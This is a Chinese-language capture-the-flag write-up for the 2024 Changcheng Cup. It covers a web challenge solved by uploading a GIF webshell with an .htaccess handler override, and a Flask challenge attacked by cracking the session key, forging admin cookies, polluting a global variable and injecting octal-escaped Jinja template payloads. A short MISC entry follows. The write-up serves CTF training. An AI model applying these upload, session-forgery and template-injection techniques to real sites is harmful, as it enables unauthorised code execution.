2024长城杯

2024长城杯-wp

WEB

sqlup

先fuzz一波

过滤了--+,#,select,and ,or

输入admin 1进去了???(源代码的fuzzy matching实际上是用%%密码登录

点击头像有文件上传的点

过滤了字母p,导致无法上传.php文件,尝试了一下可以上传正常的gif文件

所以可以做一个gif的图片马

上传之后我们打开图片链接,就可以拿到图片的目录了

http://eci-2ze5wzpsckex64sy7i6f.cloudeci1.ichunqiu.com/uploads/2.gif

有了图片马该如何利用呢?想到了.htaccess文件可以更改文件的解析

我们上传一个.htaccess文件:SetHandler application/x-httpd-php

这样所有的文件都会当做php代码来解析

(蚁剑无法打开/flag文件,需要用tac指令显示!)

candyshop[未解出]

{'csrf_token': '04d9a3ecee8267e5ce21f9377e99fd425144aa5f', 'identity': 'guest', 'username': 'admin'}

借助flask-unsign工具可以爆破秘钥:a123456

伪造session .eJw9y0EKgCAQAMC_7LmDW6bWZ2LVXZDQwOwQ0d_z1HVgHghnla0dOxdYwXrUhMgTolEoMzoKY2ArRhaFVntNUWknMECKXFpqd18UcyqdrpNrocw_vR9gxh1Q.ZuAMjw.b0AUOTmCQ3ZMBe1JKK3ybGqQaPc

成功进入admin路由

添加库存

污染sold

"{'csrf_token': 'fbe216802ca261c5956c46ba90628f1eb9dc1d17', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold' : 600}}}"

.eJxNi0EKwyAQAP-y5x5Umm30M7LqWqRmhWgPJfj3Cr30NjMwF8R-Zj_aiwUc5MBG465MJIM6bnbDeMdAVqHZs-ZgU9RJP-AGJbGMMj7ronQUWend-RQ6-C95X6QM78Fdi5-1Bar9p73VBA6VmnN-ASCJKvw.ZuAT_g.jJdvne7R839xwsuNCPdrQZ1ZQAE

Congratulations! Here is my secret: flag in /tmp/xxxx/xxx/xxxx/flag

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

发现有个waff,在view_directory路由调用

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

猜测这个位置有ssti,也就是说要只要污染sold为ssti的payload,就能命令执行了

waf非常严格,过滤了字母和下划线

使用这个脚本来替换字母为八进制

exp = "__class__"
dicc = []
exploit = ""
for i in range(256):
    eval("dicc.append('{}')".format("\\"+str(i)))
for i in exp:
    exploit += "\\\\"+ str(dicc.index(i))


print(exploit)

使用这个脚本对session加密

from urllib import request

from flask import Flask, session, make_response
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = 'a123456'


@app.route('/')
def index():
    # 设置一些 session 数据
    session["csrf_token"] = "d8ab3b9300e88f1abd2ee2d00bca39791e3d334e"
    session["__init__"] = {"__globals__": {"sold": "{{()[\\137\\137\\143\\154\\141\\163\\163\\137\\137][\\137\\137\\142\\141\\163\\145\\163\\137\\137][0][\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137]()}}"}}
    session["identity"] = "admin"
    session["username"] = "ad"

    # 创建响应对象
    response = make_response("Session set.")


    return response

if __name__ == '__main__':
    app.run(debug=True)
{{()['__class__']['__bases__'][0]['__subclasses__']()}}
{{''.\\137\\137\\143\\154\\141\\163\\163\\137\\137.\\137\\137\\155\\162\\157\\137\\137[-1].\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137()}}
{{config}}
{{\\143\\157\\156\\146\\151\\147}}

到这里复现的环境就行不通了,可能要到linux环境

复现的压缩包放到夸克网盘了
https://pan.quark.cn/s/677a926c1edd

MISC

BrickGame

记住图标后选择相同图标格子即可

posted @ 2024-12-22 17:35  Dyinglight5  阅读(83)  评论(0)    收藏  举报